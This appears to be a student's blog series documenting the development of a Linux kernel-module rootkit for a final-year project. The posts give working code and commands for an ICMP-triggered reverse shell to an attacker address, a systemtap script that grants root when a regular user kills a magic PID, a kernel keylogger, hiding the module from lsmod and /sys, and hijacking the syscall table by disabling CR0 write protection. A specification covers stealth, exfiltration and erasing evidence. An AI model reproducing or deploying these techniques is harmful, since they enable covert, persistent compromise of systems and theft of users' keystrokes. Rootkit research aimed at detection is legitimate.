All posts by Ciaran McNally

Final year student in Computer Applications DCU

Update for 2015 – It’s not dead yet!

Hello folks,

I’ve recently started working full time as a security consultant. It takes me roughly 3 hours to travel in and out of the office each day. As a result I haven’t had much additional time to work on other elements of this project. I do plan on maintaining the blog however as it seems to have gotten a decent reception.

I’ll aim to have another rootkit related post towards the end of January. The next areas I want to look into is subverting the file system and perhaps creating an encrypted file system or partition. Thanks for reading!

Edit March 2015:  I’ve been really struggling to find the time 🙁

Ciaran

Gaining Remote Access

In order to make our rootkit more useful and more malicious, I have looked into ways of gaining remote access. This allows our attacker to maintain hidden persistent access to the victim machine. Maintaining access to a compromised machine can be tricky as there are lots of ways of doing so but most can be very easily spotted. The two methods I investigated involved using a simple bind shell and then a more neat reverse shell. For this simple demonstration I installed and use various Nmap 6 tools.

Bind shell
My implementation of this, simply bound a /bin/bash shell to a port. This isn’t a very hidden way of doing things and our victim admin could easily view this process running using netstat. I will look into hiding processes and open ports at a later point.

Reverse shell
For my reverse shell, I monitor all icmp packets for a certain password or key. If this key is found, I send a /bin/bash shell to an attacker defined IP and port. This means our sniffer runs in the background and we can hide the process by renaming it. I will also investigate a means of hiding this process completely.

Gaining access to the user space from kernel

The hardest part of implementing this remote shell functionality, was finding a reliable way of running our user space shell from within the kernel. I came across many implementations and ideas in my search. Some involved copying attacker shellcode into memory and then setting it as executable, others were more messy and less reliable. I came across the following API that makes this task very simple, the usermode-helper API. This allows us to easily invoke a user space application from the kernel space.

At the bottom I will provide a simple kernel module that allows me to demonstrate this functionality. I will then integrate this into the next iteration of the rootkit.

Diving in

Firstly I needed to implement my reverse shell. This involved investigating the internet control message protocol (icmp). This protocol is generally used to relay messages about network devices and can be used to diagnose network issues or for other control purposes.

On our victim machine I ran the following

tcpdump ip proto \\icmp -X -v

This will display lots of information about any icmp request received or sent by a machine. On our attacker machine I then simply ran

ping victim.r00tkit.me

This pings the victim machine and we can see the raw packet data as it arrives in our tcp dump.

tcpdump

Next using a tool called nping I crafted a simple demonstration “Hello World” icmp request. We can then see this message in the data section of our tcpdump. The following request sends a single crafted ping to the defined destination ip address.

nping --icmp -c 1 -dest-ip [victim ip] --data-string 'Hello world'

hellotcpdump

Using this knowledge I wrote some simple C to listen for icmp requests and read this data section. As we don’t want every icmp request opening or sending a shell, I check the first token in the data string for a password or key. Then when this matches I check for a provided attacker ip and port. I then send a reverse shell to this attacker address on the port provided.

Our attacker in one window opens a listening port using the following netcat command

nc -l 31173

This listener is where we will send the reverse shell from the victim machine. The attacker machine is now listening on port 31173.
Assuming the kernel module is installed on the victim machine and we are using a password of maK_it_$H3LL, we then run the following nping command.

nping --icmp -c 1 -dest-ip [victim ip] --data-string 'maK_it_$H3LL [attacker ip] 31173'

Then in our window with netcat running, we should see the following

root@server1:~# nc -l 31173
maK_it
/bin/bash shell..

You can find all of this code available at the following link : reverse-shell-access-kernel-module

Ninja access to root privileges from userspace

In this section I will be investigating a few different rootkit methods of escalating privileges from a regular user to a root user. I will then implement one of these methods in my kernel module.

The first method I would like to look at is triggering our root privileges by hijacking the kill system call. This involves replacing sys_kill with our own kill functionality. The idea here is to escalate the calling process to root when our regular user tries to kill a certain *secret* or *magic* process id. So lets have a look at the kill system call.

Kill ’em all!

By running the following:

stap -L syscall.kill

We can see the various variables our kill syscall has to deal with.

syscall.kill name:string pid:long sig:long argstr:string $pid:pid_t $sig:int $info:struct siginfo

As a test I ran the following systemtap script

//Run this using stap sys_kill.stp
#/usr/bin/env stap
probe syscall.kill{ 
	printf("name:%s\npid:%d\nsignal:%d\n",name,pid,sig)
}

I opened a new window and then ran kill 9001. I was greeted with the following output in the other window running our script:

name:kill
pid:9001
signal:15

Running kill -l we can read a list of the different signal numbers. We can easily see that signal 15 is SIGTERM. Using kill -s [SIGNAL NAME] 9001 we can then confirm that the other signals match up with our output. We can also see a value of 15 for the SIGTERM when we press ctrl+c to kill the stap script. This could also be confirmed using strace with the following command and output:

[root@localhost ~]# strace -e trace=kill kill 9001
kill(9001, SIGTERM)                     = -1 ESRCH (No such process)
kill 9001: No such process

Here we can see the return value and the message output to the terminal if the process/pid 9001 doesn’t exist. The next step is looking at ways to change the process credentials from our current user to root.

Escalating privileges

In order to raise the current users privileges to root we will need to look at /kernel/cred.c this file is included as part of linux/sched.h. We will need to include this in our module or stap script to use it.

The 2 functions we’ll be looking at are prepare_creds and commit_creds. We can read what they do from the kernel source…

prepare_creds:
Prepare a new set of task credentials for modification. A task's creds shouldn't generally be modified directly, therefore this function is used to prepare a new copy, which the caller then modifies and then commits by calling commit_creds().
commit_creds:
Install a new set of credentials to the current task, using RCU to replace the old set.  Both the objective and the subjective credentials pointers are updated. This function may not be called if the subjective credentials are in an overridden state.

What I have done is created a function to carry out this task. I will then use various methods of triggering this function. After it runs the calling user should have changed credentials, giving the process and our user root privileges. We can demonstrate this with the following systemtap script: r00t.stp

#!/usr/bin/env stap
%{
#include <linux/sched.h>
%}

function root_me:long() %{
        struct cred *haxcredentials;
        haxcredentials = prepare_creds();
        if (haxcredentials == NULL)
                return;
        haxcredentials->uid = haxcredentials->gid = 0;
        haxcredentials->euid = haxcredentials->egid = 0;
        haxcredentials->suid = haxcredentials->sgid = 0;
        haxcredentials->fsuid = haxcredentials->fsgid = 0;
        commit_creds(haxcredentials);
%}

probe syscall.kill{
    if(sig == 14 && pid == 9001){
        root_me()
    }
}

This is a good demonstration without the need to fully implement the same in a kernel module. As a regular user, running kill -s SIGALRM 9001 we can gain root privileges. Here is an example:
In one window we run the following

[root@localhost ~]# stap -g r00t.stp

In our second user window we run

[mak@localhost ~]$ id
uid=500(mak) gid=500(mak) groups=500(mak)
[mak@localhost ~]$ kill -s SIGALRM 9001
bash: kill: (9001) - No such process
[mak@localhost ~]$ id
uid=0(root) gid=0(root) groups=0(root),500(mak)

Using this same root_me function it is possible to escalate privileges under a large number of different circumstances. We could easily hijack any other system call and do the same thing using alternative conditions.

In the keylogger I recently wrote. I’ve implemented my own character device. Using this same method for passing commands via the device, I have included the option to give a regular user root privileges when they run the following:

echo rootme > /dev/.maK_it

This functionality will be part of the next code release I do. Next I plan on looking at hiding processes, files and maybe users.

Part 2: Stealing keyboard keys for fun & profit

This is the 2nd part of my research into Key logging from a kernel module. In this post I would like to dive into my implementation and explain the various techniques I have used. The code related to this blog post is available at the following location:
https://github.com/maK-/stealthy-Keylogger-lkm/

Keyboard notifier

As I mentioned in the previous post, I use a keyboard notifier function to capture the key press data. This allows me to access the raw KBD_KEYCODE and param->value data. Allowing me to map what keys are pressed to their ASCII character equivalents. I also needed to take into consideration whether the shift key was pressed in order to change the characters to caps or to get the alternative keyboard symbols.

On initiation of our module, I load a keyboard notifier using the following code.

register_keyboard_notifier(&nb);

This accepts a notifier_block struct &nb that contains a handler function of key_notify to manage our key presses. It is very easy to follow how the handler function works. It simply converts the param->value to our characters and stores them to a global character keyBuffer. On the exiting of our module we also need to unregister the notifier.

Registering a character device

I came across character devices when reading the following chapter of the Linux programming guide – Character devices. The character device allows us to create a file and manipulate it from within the kernel using the following defined file operations. We can create handler functions for each of these elements.

//File operations for device
struct file_operations fops = {
    .owner = THIS_MODULE,
    .open = open_dev,
    .read = read_dev,
    .write = write_dev,
    .release = release_dev,
};

It is possible to register a character device with the following code. In order to register the device you need a name that will appear in /dev/DEVICE_NAME and a Major number for the device. This must be unique also. If you pass in 0 the kernel dynamically allocates a Major number for you. For my proof of concept code I used a Major number of 33. You can view the Major numbers and the associated devices by running the following:

ls -al /dev/ | awk '{print $5,$10}'

To register a character device you must use the following format. This is done on initiation of our module also and the device must be unregistered on exit. We can see our file operations struct is passed in also.

major = register_chrdev(DEVICE_MAJOR, DEVICE_NAME, &fops);

What the character device allowed me to do, was avoid having to read and write to a file from within the kernel. I can now perform operations when the file is accessed or written to. I used this to dump our logged keyBuffer characters whenever the /dev/.maK_it file is read. I could now also read commands that have been echo’d into the file that I store to another character buffer called commands. This allows me to control the module. I can turn on or off certain functionality or run functions within the kernel on request.

Hiding the module and Stealth

As I now have the option of passing in my own commands to the kernel. I added functionality to hide and reveal the module. This was very easy as the kernel provides a method for doing so.

list_del(&THIS_MODULE->list);
kobject_del(&THIS_MODULE->mkobj.kobj);

This removes the module from the module list (that is used by lsmod) and also removes the kobject from the /sys/module directory.This is very effective as it hides the module from all of the following commands. These are normally used to reveal kernel modules.

lsmod | grep maK
grep maK /proc/modules
grep maK_it /proc/kallsyms
ls /sys/module | grep maK
modinfo maK_it
modprobe -c | grep maK
ls /dev/

I needed to include a reveal functions also so I could rmmod our kernel module. What this does is add the module back to the list. This just involved storing the list items before I removed it and then adding it back afterwards.

list_add(&THIS_MODULE->list, modKobjList);

I also had to include the following in order to avoid  warning messages flooding the logs. When we remove our objects from the /sys/module directory, the kernel complains when it can’t find them as you try remove the module. All this does is set the pointers to NULL so the kernel won’t look for them.


THIS_MODULE->sect_attrs = NULL;
THIS_MODULE->notes_attrs = NULL;

I hope this exploration has been informative and helps others if they decide to look into such things. There are other avenues for key logging I will be investigating in the later stages of the project. I would like to time the differences in the kernel keyboard stack with a key logger and without one using systemtap. The goal of this would be to develop a systemtap script that could detect such things in real time. I will cover this when I start looking at detection and mitigation techniques.

The next immediate step I will be moving on to, is the escalation of a normal user to root privileges. I will also be looking at methods of hiding and revealing files and processes.

Appendices

http://www.tldp.org/LDP/lkmpg/2.6/html/

Love, Robert. (2012). Devices and Modules. In: Linux Kernel Development. 3rd ed. USA, Indiana: Addison Wesley. 337-363.

http://appusajeev.wordpress.com/2011/06/18/writing-a-linux-character-device-driver/

http://stapbofh.krunch.be/systemtap-bofh-fosdem2011020501.pdf

Part 1: Stealing keyboard keys for fun & profit

In this blog post I will be further investigating the Linux keyboard
drivers and will be implementing a keylogger. Using systemtap I will
be probing various different functions within this process in the
hope of gaining a greater understanding of how the keyboard works
within the kernel.

There is a massive amount of interlinked keyboard related functionality built into the kernel as you can see in the image below.  I did my best to isolate the more interesting files from the rest and started reading through lots and lots of source code.

tty_2vt_2keyboard_8c__incl

This image above is from kerneldox.com This site proved very helpful in understanding a lot of how the keyboard works.

While going through these files I came across a lot of very useful     kernel functionality. The most useful of which was the notifier functions. These allow us to set a notifier or observer on many different elements within the kernel. At the following location you will see information detailing a Keyboard notifier. This information was found on kernel.org. When a keyboard key is pressed, we can be notified of this event within our kernel module. This will prove incredibly useful for implementing a key logging mechanism.

Further investigation with systemtap

Using systemtap I pulled a list of some keyboard related functions using the following script.

stap -L 'kernel.function("kbd*")'

This probes for the exact location of functions in the kernel whose name matches our search term of “kbd_*”, where the * is a wildcard term. The results of this search where are as follows:


kernel.function("kbd_bh@drivers/char/keyboard.c:1014")
$dummy:long unsigned int

kernel.function("kbd_connect@drivers/char/keyboard.c:1314") 
$handler:struct input_handler* $dev:struct input_dev* $id:struct input_device_id const* $i:int

kernel.function("kbd_disconnect@drivers/char/keyboard.c:1353") 
$handle:struct input_handle*

kernel.function("kbd_event@drivers/char/keyboard.c:1296") 
$handle:struct input_handle* $event_type:unsigned int $event_code:unsigned int $value:int

kernel.function("kbd_keycode@drivers/char/keyboard.c:1144") 
$hw_raw:int $down:int $keycode:unsigned int

kernel.function("kbd_rate@drivers/char/keyboard.c:272") 
$rep:struct kbd_repeat* $d:unsigned int $p:unsigned int

kernel.function("kbd_rawcode@drivers/char/keyboard.c:1136") 
$data:unsigned char

kernel.function("kbd_start@drivers/char/keyboard.c:1364") 
$handle:struct input_handle*

I then Looked further into some of these functions just out of curiosity and developed systemtap scripts to print out the variables within these functions.

kbd_bh
This defines the tasklet handler, initially disabled, which does nothing with its single argument. The reason for this is because of the need to handle the scenario when a keyboard handler is not registered yet but their are already updates from the device.

kbd_connect
When a keyboard device is attached or found, this function is called. The function looks at the device and then decides whether the passed in handler will handle events from it.

kbd_disconnect
This disconnects and closes our handler. The handler is then unregistered and freed.

kbd_event
This function takes the address of a handler an event_type as an integer, an event_code and a value as parameters. Depending on what the event_type is we pass our value into either the kbd_keycode or kbd_rawcode functions. Pressing a key triggers an event, so does releasing the key. Notice the different values for pressing down and releasing the key.


#!/usr/bin/env stap

probe kernel.function("kbd_event"){
	print("nkbd_event : %s", $$vars)
}

Pressing ‘a’ results in the following data being printed.
handle=0xf676f140 event_type=0x4 event_code=0x4 value=0x1e
handle=0xf676f140 event_type=0x1 event_code=0x1e value=0x1
handle=0xf676f140 event_type=0x0 event_code=0x0 value=0x0

Here we can see the address of the handler, value of the event_type, event_code and value. This data helps us to handle what way the key press is to be managed. For example a value of 0x1 means it is a “key press down” whereas a value of 0x0 means a “key release”.

kbd_keycode
This function handles raw, mediumraw, xlate and unicode keyboard modes as raw values. Scancodes are then converted into keycodes or other values and passed into tty queues or other handler functions.

kbd_rate
This deals with setting the keyboard rate. Taking in a delay and period to wait.

kbd_rawcode
This is used by kbd_event to handle certain events or rawcodes.

kbd_start
Start the keyboard handler on the new keyboard refreshing the LED states to match the rest of our system.

Implementation of my keylogger

I have implemented my keylogger using register_keyboard_notifier and register_chrdev. This stores the keys to a buffer and then dumps the data to a character device when a read is performed.

I will outline the specifics of how this works in the next blog post. I will also begin looking into methods of hiding files and the processes.

You can find the source here for the Keylogger-lkm.

Interrupt Requests, Handlers and Keyboards

Low Level:

Interrupts are the means by which hardware devices signal the processor. In the case of a keyboard, this would involve the keyboard controller signalling the processor to let it know there is a new available key press. The processor then notifies the linux kernel. This is called an IRQ or Interrupt request.

It is up to the kernel to run a request handler that associates with each specific interrupt. This handler functionality is part of the device driver for the specified device. The handler functions must run with great efficiency. These quickly move large amounts of data and return to an accepting state. Passing the work into queues and manipulating memory.

Each device driver must register a request handler using the request_irq() function. This registers a given interrupt handler for a given interrupt line. If we run the following

cat /proc/bus/input/devices

This will show our hardware input devices, we can then correlate that what the data returned from running

cat /proc/interrupts

This will show what handlers are currently registered.
Handlers can be unregistered and subsequent lines freed with the free_irq() function.

High Level:

This is where the larger, less time sensitive chunk of our interrupt handling occurs. This manages work that was deferred in queues from the lower level of our interrupt handling process. The 2.6 kernel takes advantage of 3 higher level mechanisms, softirqs, tasklets and work queues.

Softirqs are used for things such as networking and block devices, they are statically added to the kernel at compile time. Tasklets run on top of these softirqs, they are much more dynamic and work fine for the vast majority of cases. Tasklets are managed by a scheduling mechanism. Work queues are an interface for creating kernel threads to handle work queued from elsewhere.

images (1)

How a keyboard works?

This process will be investigated further in the next blog post using systemtap.

  1. Keyboard sends a scancode to our device driver.
  2. Scancode handler in driver converts this into a series of key presses and release events using a translation table.
  3. These key codes and potential modifiers are matched to symbols.
  4. The character symbols are put in a tty queue.
  5. receive_buf() function is called periodically putting the characters into a read queue.
  6. sys_read() is called on stdin of process and returns to process.

 

 Different rootkit key-logging options?

The first option that comes to mind is to build an interrupt handler but as this occurs at a much lower level, it means complete platform dependency. This means it would require a lot more work to implement and even if we did, it’s not guaranteed at all to work on any other devices.

We could also hijack any of the functions above involved in the operation of a keyboard and replace their functionality with some form of logging mechanism.

Our final option is that we could hijack the sys_read() system call and use this to log the keys.

I will look into both function hijacking and system call hijacking  in my next post as a method of implementing our key-logger.

Systemtap installation on CentOS 6.5

This post is simply just a quick note about how to install systemtap on a fresh install of CentOS 6.5. This will also be the development environment and OS I’ll be using for the development of my rootkit. Below you will find a very simple script I wrote to complete this process.

We will need to first acquire the kernel debuginfo packages for our current kernel version. This will allow Systemtap to take full advantage of the the kernel probing system it requires to operate. The debug packages we need to install are kernel-debuginfo, kernel-debuginfo-common and kernel-devel.

We then also need to install systemtap. You can find the script below. You may also find that after you update/upgrade your kernel, the debuginfo packages may need to be installed again. Running this script in these scenarios should also work.

centos-systemtap-debuginfo.sh

#!/bin/bash
WEB="http://debuginfo.centos.org/6/i386/"
RELEASE=`uname -r`
MACHINE=`uname -m`
PKG1="kernel-debuginfo-$RELEASE.rpm"
PKG2="kernel-debuginfo-common-$MACHINE-$RELEASE.rpm"
wget $WEB$PKG1
wget $WEB$PKG2
#Build Downloaded debuginfo packages
rpm -Uhv kernel-debuginfo-*.rpm
#Install systemtap and kernel-developemnt packages
yum install systemtap kernel-devel

After running this, systemtap should be installed and ready to go. I  ran this on a fresh install without any other previous tampering. You can test if it worked by running something such as the following.

stap

stap -L 'kernel.function("*")'

Running this should present a list of kernel functions. In my next post I will be discussing how an IO device such as a keyboard operates, I will also be fully investigating the various components within the kernel using systemtap and how keyboard input is processed. This will preempt the development of my kernel key logger.

Hijacking System calls with Loadable kernel modules.

In this post I will be outlining the various steps involved in hijacking a system call. This is fundamental to the underlying operation of a rootkit.  I will do this using a loadable kernel module (LKM).  Before diving straight into our hijack function,  it’s import to understand how kernel modules work and how they are loaded into your Linux operating system environment.

The code for this demonstrative post is located here https://github.com/maK-/Syscall-table-hijack-LKM

 

Understanding loadable kernel modules.

LKMs extend the functionality of the base-kernel of the Linux operating system.  They are simply loaded in using insmod which loads a kernel object (.ko) into the kernel. They can be removed using rmmod. Using a process called kbuild we can build our kernel object file. This is similar to a regular elf object file (.o) that is normally generated when compiling user-land conventional C code. The additional k lets us know that this code was compiled with additional required kernel specific sections (such as .modinfo).

Once our Kernel module is loaded in, you can see it listed in /proc/modules. Sometimes it is important to test your module before inserting it into a live system. This can be achieved using modprobe. It can very simply test load a kernel object.  It is more safe to install our modules using modprobe. You can view a list of installed modules using lsmod. You can also view info on any of these modules by running modinfo.

 

Building our System call hijack module.

In order to compile and create our module, we must use a Makefile. Here you will see the Makefile that corresponds with our system call hijacking module below.


#If KERNELRELEASE is defined, we've been invoked #from the kernel build system and can use its #language.


ifneq ($(KERNELRELEASE),)
obj-m := maK_it.o


# Otherwise we were called directly from the command
# line; invoke the kernel build system.
else
KERNELDIR ?= /lib/modules/$(shell uname -r)/build
PWD := $(shell pwd)


default:
sh scripts/lets_maK_it.sh
make -C $(KERNELDIR) M=$(PWD) modules
endif

You will notice above that this should build our module with our current kernel (uname  -r). The script “lets_mak_it.sh” takes a template.c file and generates the file to be used in building. This file will then contain the needed addresses for our module to work.


#!/bin/bash
 #used to insert the memory addresses of:
 #sys_call_table
 
KERN=$(uname -r)
IN="template.c"
OUT="maK_it.c"
BREAK="----------------------------"


echo "Finding Kernel System Call Table Address..."
echo $BREAK
GET_SC_TABLE=$(grep sys_call_table /boot/System.map-$KERN | (awk '{print $1}'))
SYSCALL_TABLE="SYSCALL_TABLE 0x"$GET_SC_TABLE
echo $SYSCALL_TABLE

#Templates to be replaced
SCT="SYSCALL_TABLE_TEMPLATE"

echo $BREAK
echo "Building '$OUT' File..."
sed -e "s/$SCT/$SYSCALL_TABLE/g;" < $IN > $OUT
echo "Done."

Running the following line from above

grep sys_call_table /boot/System.map-`uname -r`

We can see that the location of our system call table is printed out. This is inserted into the SYSCALL_TABLE_TEMPLATE location in template file and mak_it.c is created. This is the final code that is then built into our kernel object. It is very important that we acquire the address of our system call table into our module. Notice the output above has an R. This symbolizes that the System call table is read-only.

What is happening inside the kernel?

In my 3rd functional specification post I described the following scenario. Our loadable kernel module is loaded into the kernel space. This module must replace the address of the write system call with the address of it’s own evil write system call in the system call table.

syscall2

 

In order to achieve this, we need to ensure the system call table is writable so we can overwrite the address of our function. By default in many 2.6* Linux kernels the System call table is set to read-only mode. We confirmed this above.  Through investigation I discovered we also can’t change the system call table page to write mode because it is write-protected. We can confirm this by running the following.

cat /proc/cpuinfo | grep wp

WP is write-protected mode. In order to overwrite our System call table addresses we need this set to off. WP is part of control register. This is a processor register which changes or controls the general behavior of a CPU. Common tasks performed by control registers include interrupt control, switching the addressing mode, paging control, and coprocessor control. We need to directly deal with CR0 register.

Looking up WP in the CR0 we can see the following information.

16 WP Write protect Determines whether the CPU can write to pages marked read-only.

If we flip this 16th bit to 0, we should have full write access to all of the pages. This means our System-call table address space can be overwritten. Giving us full access to all of the system calls, allowing us overwrite their locations in the table with our own evil addresses.

Flipping the 16bit can be achieved with the following

write_cr0 (read_cr0 () & (~ 0x10000));

Then flipped back with

write_cr0 (read_cr0 () | 0x10000);

We must then do this before and after we want to edit our system call table addresses. Hopefully this is made very clear in the following code.  https://github.com/maK-/Syscall-table-hijack-LKM/blob/master/template.c

Note that the address of our system call table needs to be replaced by the .sh script above. This kernel module doesn’t do anything at the moment. It simply demonstrates the replacement of the write system call. You can confirm this by placing a kernel warning message in the evil write system call function. Then you can run the following to read the evil messages as the write system call is called.

tail -f /var/log/messages

Appendices

http://vulnfactory.org/blog/2011/08/12/wp-safe-or-not/

http://en.wikipedia.org/wiki/Control_register#CR0

http://memset.wordpress.com/2010/12/03/syscall-hijacking-kernel-2-6-systems/

http://www.tldp.org/HOWTO/html_single/Module-HOWTO/

http://en.wikipedia.org/wiki/Loadable_kernel_module

Functional Specification (part 3)

Section 5:                                System Architecture

5.1 Simple Use-Case

  1. Attacker gains unauthorized root access to victim host machine.

  2. Installs rootkit and removes evidence of attack.

  3. Administrator or owner of victim host continues activity on machine as normal. Assuming they haven’t detected the attack or found the rootkit. They carry out their regular usage (Example: Distributing Illegal movies).

  4. After a week of collecting evidence, our attacker sends a crafted packet to the victim machine. In response of this crafted packet being detected, a remote shell is returned to the attacker. Victim owner is still left unaware.

  5. Attacker retrieves all the evidence collected and either uninstalls the rootkit, or furthers the attack, based on the data they received. Victim is still clueless.

Below you will find some context diagrams based on this use case.

Step 1:

Step1

Step 2:

Step2

Step 3:

Step3

Step 4:

Step4

Step 5:

Step5

Section 5:                                System Architecture

5.2 Rootkit and OS Architecture

The Rootkit and Operating system have an interesting architectural layout when combined. I feel this is important to include in the functional specification as it demonstrates how our Rootkit module and Operating system entities interact with each other from an easy to understand higher level view. This interaction is critical to the project and without it, the method of implementing a rootkit I am investigating would not be possible. I will be developing this rootkit on a 32bit linux kernel architecture of the 2.6* variety. I will also investigate how I could possibly extend this to other newer kernels.

In the first diagram below you will see how the operating system separates our user space from the kernel space. This diagram outlines the regular functionality of how our operating system eventually progresses to making system calls from a process. This initial high-level view will be investigated to a much greater extent in future documentation. Our process needs to call the write system call. Through an interface this request is handled, the location of the write function is found in the system call table and we can see that write is then executed.

syscall

In the following diagram you will notice you can see our loadable kernel module (the rootkit). Hopefully it should be clear that the kernel module needs to first store the original address of the write system call, then it needs to overwrite the address with an evil function. This evil function would then pass the value it received to the regular system call after carrying out it’s evil task. Basically the rootkit allows us to intercept any system call.

syscall2

This sequence is a fundamental concept in understanding how a LKM rootkit works. We can see from this example that it is possible to intercept the write system call. The same is true for any of the other system calls. There are a few issues such as the system call table not being writeable and other such protections put in place to mitigate rootkits. Methods to bypass these restrictions do exist and will  be demoed at a later stage.

Section 5:                                System Architecture

5.3 Systemtap Architecture

Systemtap has a very interesting architecture. It translates the systemtap language into raw kernel level C code and then into a compiled kernel object (.ko). It also has the ability to insert raw C code directly into the kernel using its “Guru-mode”. All of this takes place on-the-fly or during runtime. This is possible thanks to the kprobe debugging interface.

kprobes

Above we can see the architectural layout of the kprobe interface. Most of the work is done in the architecture dependant layer. Each different architecture has it’s own debug symbols and must be dealt with individually. We place a pre-handler kprobe before the position we want to debug, then one straight after. The pre-handler executes, then the probed instruction, then the post-handler. These handlers carry out functions in our higher layers.

The architecture independent layer in the middle is our kprobe manager, this manages the registering and unregistering of kprobes. The user can then provide handlers for the kprobes within their kernel module. They use the middle layer to register these handlers.

Systemtap provides a Higher layer above this again. It translates it’s own language and libraries into kprobe compliant code to carry out many different functions within the kernel.

Section 6:                                High-Level Design

6.1 Data Flow Diagram: kprobe execution

kprobe-high

6.2 Data Flow Diagram: Systemtap flow

Dataflow-stap

Section 7:                                Schedule

7.1 Simple Schedule

The schedule for this project can be found here http://blogs.computing.dcu.ie/wordpress/mak0/schedule

 

Section 8:                                    Appendices

Below you will find a collection of Links relating to my project & research areas. It is possible more will be included in later documentation or added to my blog posts as I need them. This should not be considered the full list of appendices. I will also properly reference these articles/books in later documentation.

 

I will keep them in the format:

LINK    :    Brief description

https://sourceware.org/systemtap/langref/    :

The Systemtap language reference

 

http://tldp.org/LDP/lkmpg/2.4/html/book1.htm

The Linux Kernel Programming book

 

http://www.phrack.org/            :

An E-zine containing many useful techniques for many of the areas I’ll be investigating.

 

http://memset.wordpress.com/        :

Many relevant techniques (Author wrote some related phrack articles)

 

http://kernelnewbies.org/            :     Some useful information

 

http://www.redbooks.ibm.com/abstracts/redp4469.html:

“Systemtap: Instrumenting the Linux Kernel for analysing performance and functional problems”. A very useful guide full of tips for using Systemtap.

 

http://man7.org/tlpi/                :

The Linux Programming Interface. This has a lot of detailed information about how the linux kernel works.

 

http://c.learncodethehardway.org/book/    :

Additional help with C programming.

Functional Specification (part 2)

Section 3:                            Functional Requirements

Rootkit Functional Requirements

3.1 Installation Procedure of Rootkit Module

  • Description:

This is the initial and most critical step of the software. It involves setting various system critical options and variables and ensuring that our Host operating system is fully compatible with the software. This will most likely take the form of a Makefile.

  • Criticality:

This script is possibly the most important step of our software. It ensures that the system is compatible and suited to work with our loadable kernel module. The criticality lies in the fact that a large amount of damage could be done to a host Operating System if the module is loaded into a non compatible kernel.

  • Technical Issues:

There are many iterations of the Linux kernel. I will do my best to ensure compatibility across a few different versions. I will mainly focusing on the 2.6* variety of the kernel however.

      • Different names/locations of critical address space.

      • Differently named Kernel functions.

      • Different methods in securing the System call table from modification.

      • Newer kernel versions have less documentation with regards to attack/manipulation techniques.

  • Dependencies:

The Installer must have root privileges and the script needs to find correct address locations of functional critical elements such as the System call table.

3.2 Rootkit: Hijacking System Calls and modifying the syscall Table.

  • Description:

This functionality is necessary for the rootkit to intercept and modify the operating system calls. We can find the location of the various system calls one we have the base address of the system call table.

  • Criticality:

The ability to intercept system calls and modify the system call table is critical to the operation of the rootkit, it ensures we can exert greater control over the operating system at a very low level. Without being able to locate and modify the system call table, the other functionality of our rootkit would not be possible.

  • Technical Issues:

The operating system usually sets the system call table to read-only mode, it is important to find away around this restriction in order to exert full control.

  • Dependencies:

Ability to write and modify the system call table.

3.3 Rootkit: Hiding the rootkit module.

  • Description:

This functionality is important as it demonstrates that our rootkit can be hidden from the regular more simple methods of detection. It is also largely a functional requirement of a  typical rootkit.

  • Criticality:

This is quite an important element in terms of the overall goals of the software. In most use cases, the more hidden the rootkit, the better and more efficient it is.

  • Technical Issues:

There are many ways an administrator can list the currently installed modules. It will be worthwhile investigating many of these and deciding which detection methods would be the best to hide from. I will also possibly need to look into hiding other files.

  • Dependencies:

In order to avoid detection it is important to also investigate the different methods to detect loadable kernel modules. I will attempt to hide the module from many of these different avenues of discovery. I am expecting System tap to greatly help me with this along with strace.

3.4 Rootkit: Keylogger.

  • Description:

The keylogger component of the rootkit will capture pressed keys into a file that can later be exfiltrated.

  • Criticality:

This is an important function of the software as it is one of the most useful elements. It demonstrates how data can be retrieved in a secretive way. This type of functionality is commonly found in rootkits.

  • Technical Issues:

There are different ways of keylogging. We could intercept the key presses at a system call level or instead try to capture them at tty session level.

3.5 Rootkit: Network packet sniffer.

  • Description:

In order to take advantage of our rootkit, it is important to allow remote access to our compromised machine. The network sniffer will monitor network traffic and packets and allow a connection from a machine that meets certain criteria. It could also store network information for exfiltration by our attacker or rootkit user.

  • Criticality:

The ability to remotely access the rootkit is of vital criticality to the software. It ensures access is maintained to the host machine. It also ensures the user can take advantage of the other rootkit functionality.

  • Technical Issues:

Generally a large amount of packets travel in and out of a networked computer, this means if our sniffer is slow or performs too many functions, it could affect the perceived speed of operations in the OS. It could also hinder network efficiency. Packets can come in many different forms or sizes which could possibly add unnecessary complexity to the sniffer.

The second technical issue of concern is that there may not be a need to store the network data. Most operating systems will already have log files and methods of logging this information. The attacker could simply view this when they get remote access.

  • Dependencies:

    Monitoring the network traffic isn’t too costly for performance. The development of this functionality also depends on whether or not better alternatives exist.

3.6 Rootkit: Data Exfiltration

  • Description:

There needs to be a method for our attacker or user to retrieve information that was collected in the time the attacker wasn’t actively logged in. This could be done in a few different ways, I will investigate the different approaches to this functionality.

  • Criticality:

This is part of our project is of medium importance as it is not critical to the working of the project as a whole. If the user of our rootkit can remotely access the machine simply reading the material that is secretly captured could be considered information exfiltration.

  • Technical Issues:

Log files can become extremely large, I will need to decide what critical elements should be captured and prepared for exfiltration. Writing to files within a kernel module is considered bad practice  or non-standard so I may look at other methods of logging.

3.7 Rootkit: Control Interface.

  • Description:

There may possibly need to be a hidden way of interacting and controlling our rootkit. Such as hiding/unhiding specified files. It would also be useful in the scenario that we want to hide the rootkit module on a machine we currently have a regular user account on. Possibly a way of elevating privileges of a regular user. The more obfuscated the control interface the better.

  • Criticality:

This is not critical to the rootkits functionality but could be considered an important feature. It could be possible to simply have a rootkit that provides a means of maintained access. I’ would however like to investigate a means of controlling the rootkit as a normal user also.

  • Technical Issues:

Ensuring the interface is obfuscated appropriately so that activation of certain functions couldn’t happen by accident.

  • Dependencies:

This greatly depends on whether I have enough time to investigate this possibility and also as to whether I can come up with some tricks to activate the kit without detection.

3.8 Rootkit: Uninstall and removal options.

  • Description:

There should be an easy way of uninstalling the rootkit software, removing it from our host machine. I would like this to also clean up any possible areas of detection. This includes uninstalling the kernel module, resetting the modified memory addresses, removal of all associated files and deletion of any possible evidence or logs that may have been generated.

  • Criticality:

This is of vital criticality to the software as we need to ensure our rootkit can be removed without damaging the host OS. It is also important in the overall scope of deploying and using a rootkit that is to remain undetected.

  • Technical Issues:

I will need to keep track of any files created and the original memory address of our syscall table.

  • Dependencies:

I must clear and exit cleanly from every operation the rootkit carries out.

3.9 Rootkit: Investigating other possible functions.

  • Description:

I would like to investigate other mischievous things I could possibly carry out with my rootkit module. This would maybe include some techniques or ideas of my own. I’d like to look at methods of making the rootkit more stealthy, alternative methods of maintaining access, Investigate triggers such as a timed attack or hidden cronjobs. I would also like to investigate the possibility of providing false chkrootkit data to an admin.

  • Criticality:

